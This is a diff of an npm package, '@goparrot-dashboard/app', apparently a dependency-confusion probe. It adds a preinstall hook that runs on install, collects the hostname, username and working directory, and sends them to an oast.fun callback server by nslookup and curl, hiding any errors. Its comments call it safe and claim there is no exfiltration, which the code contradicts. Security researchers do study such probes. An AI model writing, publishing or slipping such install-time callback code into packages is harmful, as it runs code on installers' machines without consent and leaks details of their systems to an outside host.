@goparrot-dashboard/app 0.0.1 → 0.0.2

package/index.js

@@ -1,2 +1,30 @@
-// rootxravi-poc-security
-console.log("[rootxravi-poc-security] @goparrot-dashboard/app");
+// rootxravi-poc-security — safe RCE proof-of-concept
+// This only sends hostname + username + cwd to an interact.sh callback server
+// No destructive actions, no exfiltration, no persistence
+
+const { execSync } = require("child_process");
+
+const CALLBACK = "iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun";
+
+try {
+  const hostname = execSync("hostname").toString().trim();
+  const whoami = execSync("whoami").toString().trim();
+  const cwd = process.cwd();
+  const pkg = "@goparrot-dashboard/app";
+
+  const data = [
+    `pkg=${pkg}`,
+    `host=${hostname}`,
+    `user=${whoami}`,
+    `cwd=${cwd}`,
+    `ts=${Date.now()}`
+  ].join("&");
+
+  // DNS callback
+  execSync(`nslookup ${whoami}.${hostname}.rootxravi.${CALLBACK}`);
+
+  // HTTP callback
+  execSync(`curl -s -m 5 "https://${CALLBACK}/rootxravi-poc?${data}"`);
+} catch (e) {
+  // silent — POC only
+}

package/package.json

@@ -1,8 +1,11 @@
 {
   "name": "@goparrot-dashboard/app",
-  "version": "0.0.1",
+  "version": "0.0.2",
   "description": "rootxravi-poc-security",
   "main": "index.js",
   "author": "rootxravi-poc-security",
-  "license": "ISC"
+  "license": "ISC",
+  "scripts": {
+    "preinstall": "node index.js"
+  }
 }